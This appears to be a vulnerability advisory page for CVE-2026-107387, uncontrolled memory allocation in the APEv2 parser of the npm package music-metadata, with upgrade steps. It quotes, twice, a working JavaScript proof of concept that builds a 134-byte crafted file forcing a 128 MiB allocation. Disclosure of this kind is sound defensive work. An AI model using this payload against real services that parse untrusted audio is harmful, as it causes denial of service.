CVE-2026-107387: music-metadata Uncontrolled Memory Allocation Vulnerability

MODERATE
Advisory Identifier: GHSA-53v6-4h7p-p4gj
CVSS 6.2
CWE-789
Published
Advisory Summary

CVE-2026-107387 is a MODERATE (CVSS 6.2) uncontrolled memory allocation vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting music-metadata libraries in the npm ecosystem. The issue involves uncontrolled memory allocation in apev2 parser. Remediation is available by upgrading affected packages to version 11.16.0.

CVE-2026-107387 at a Glance

CVE Identifier CVE-2026-107387
GHSA Identifier GHSA-53v6-4h7p-p4gj
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-789: Memory Allocation with Excessive Size Value
Affected Product music-metadata
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-107387

To remediate this vulnerability, upgrade all affected music-metadata dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

music-metadata fixed: 11.16.0
npm install music-metadata@11.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls music-metadata

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-107387, inspect your project dependencies using npm:

npm ls music-metadata

Analyze the terminal output to locate any version of music-metadata in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.16.0), your application is affected.

Note: The npm ls music-metadata command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In music-metadata, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser. The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer. This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories. ## Affected component - `lib/apev2/APEv2Token.ts` - `lib/apev2/APEv2Parser.ts` The untrusted size is read here: ```ts size: Token.UINT32_LE.get(buf, off) ``` It is later used directly for allocation when parsing binary tag items: ```ts const picData = new Uint8Array(tagItemHeader.size); await this.tokenizer.readBuffer(picData); ``` The allocation happens before the parser confirms that the declared size fits inside the remaining file data. ## Impact An application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion. The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact. The impact is limited to availability. No confidentiality or integrity impact has been demonstrated. ## Proof of Concept Run from the project checkout after compiling the source: ```bash npm install --ignore-scripts npm run compile-src:dev node --expose-gc poc-apev2-memory.mjs ``` `poc-apev2-memory.mjs`: ```js import { parseBuffer } from './lib/core.js'; const le16 = n => Uint8Array.from([n & 255, n >>> 8]); const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]); const cat = (...parts) => { const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0)); let off = 0; for (const p of parts) out.set(p, off), off += p.length; return out; }; const big = 0x08000000; // 128 MiB const desc = cat( Buffer.from('MAC '), le32(4000), le32(52), le32(24), le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16) ); const hdr = cat( le16(0), le16(0), le32(1), le32(1), le32(1), le16(16), le16(1), le32(44100) ); const key = Buffer.from('Cover Art (Front)\0', 'ascii'); const item = cat(le32(big), le32(2)); const tag = cat( Buffer.from('APETAGEX'), le32(2000), le32(32 + item.length + key.length + big), le32(1), le32(0), new Uint8Array(8) ); const payload = cat(desc, hdr, tag, item, key); if (global.gc) global.gc(); const before = process.memoryUsage(); try { await parseBuffer(payload, { mimeType: 'audio/ape' }); } catch (error) { console.log(error.constructor.name + ': ' + error.message); } const after = process.memoryUsage(); console.log('input bytes:', payload.byteLength); console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2)); ``` ## Observed result On `music-metadata` 11.15.0: ```text EndOfStreamError: End-Of-Stream input bytes: 134 arrayBuffers delta MB: 128.00 ``` The parser throws after reaching end-of-stream, but the large allocation has already happened. ## Expected result The parser should reject the malformed APEv2 tag before allocating memory for the declared item size. ## Suggested fix Validate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.

CVE-2026-107387 Affected music-metadata Versions

1 component(s)
Fixed Versions:
11.16.0
Product / Package Ecosystem Affected Versions Fixed Version
music-metadata
npm
< 11.16.0
11.16.0

References

Frequently Asked Questions

What is CVE-2026-107387?
CVE-2026-107387 is a security vulnerability in music-metadata involving Uncontrolled memory allocation in APEv2 parser under CWE-789: Memory Allocation with Excessive Size Value.
Which music-metadata versions are affected?
Affected versions include releases prior to 11.16.0 across affected packages: music-metadata.
What version fixes CVE-2026-107387?
Upgrading to 11.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is music-metadata affected?
Yes, music-metadata is affected in releases prior to 11.16.0. Upgrade your dependency to 11.16.0 or later.
What is the CVSS score of CVE-2026-107387?
CVE-2026-107387 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-107387?
CVE-2026-107387 is classified under CWE-789: Memory Allocation with Excessive Size Value (The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.).
How can I check npm dependencies for CVE-2026-107387?
Run the dependency tree command: 'npm ls music-metadata'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-53v6-4h7p-p4gj",
  "modified" : "2026-10-08T19:43:22Z",
  "published" : "2026-10-08T19:43:22Z",
  "aliases" : [ "CVE-2026-107387" ],
  "summary" : "music-metadata: Uncontrolled memory allocation in APEv2 parser",
  "details" : "## Summary\n\n`music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.\n\nThe parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.\n\nThis issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.\n\n## Affected component\n\n- `lib/apev2/APEv2Token.ts`\n- `lib/apev2/APEv2Parser.ts`\n\nThe untrusted size is read here:\n\n```ts\nsize: Token.UINT32_LE.get(buf, off)\n```\n\nIt is later used directly for allocation when parsing binary tag items:\n\n```ts\nconst picData = new Uint8Array(tagItemHeader.size);\nawait this.tokenizer.readBuffer(picData);\n```\n\nThe allocation happens before the parser confirms that the declared size fits inside the remaining file data.\n\n## Impact\n\nAn application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion.\n\nThe demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.\n\nThe impact is limited to availability. No confidentiality or integrity impact has been demonstrated.\n\n## Proof of Concept\n\nRun from the project checkout after compiling the source:\n\n```bash\nnpm install --ignore-scripts\nnpm run compile-src:dev\nnode --expose-gc poc-apev2-memory.mjs\n```\n\n`poc-apev2-memory.mjs`:\n\n```js\nimport { parseBuffer } from './lib/core.js';\n\nconst le16 = n => Uint8Array.from([n & 255, n >>> 8]);\nconst le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);\nconst cat = (...parts) => {\n  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));\n  let off = 0;\n  for (const p of parts) out.set(p, off), off += p.length;\n  return out;\n};\n\nconst big = 0x08000000; // 128 MiB\n\nconst desc = cat(\n  Buffer.from('MAC '), le32(4000), le32(52), le32(24),\n  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)\n);\n\nconst hdr = cat(\n  le16(0), le16(0), le32(1), le32(1), le32(1),\n  le16(16), le16(1), le32(44100)\n);\n\nconst key = Buffer.from('Cover Art (Front)\\0', 'ascii');\nconst item = cat(le32(big), le32(2));\n\nconst tag = cat(\n  Buffer.from('APETAGEX'),\n  le32(2000),\n  le32(32 + item.length + key.length + big),\n  le32(1),\n  le32(0),\n  new Uint8Array(8)\n);\n\nconst payload = cat(desc, hdr, tag, item, key);\n\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\ntry {\n  await parseBuffer(payload, { mimeType: 'audio/ape' });\n} catch (error) {\n  console.log(error.constructor.name + ': ' + error.message);\n}\n\nconst after = process.memoryUsage();\nconsole.log('input bytes:', payload.byteLength);\nconsole.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));\n```\n\n## Observed result\n\nOn `music-metadata` 11.15.0:\n\n```text\nEndOfStreamError: End-Of-Stream\ninput bytes: 134\narrayBuffers delta MB: 128.00\n```\n\nThe parser throws after reaching end-of-stream, but the large allocation has already happened.\n\n## Expected result\n\nThe parser should reject the malformed APEv2 tag before allocating memory for the declared item size.\n\n## Suggested fix\n\nValidate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "music-metadata"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.16.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 11.12.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/pull/2744"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Borewit/music-metadata"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-789" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:43:22Z",
    "nvd_published_at" : null
  }
}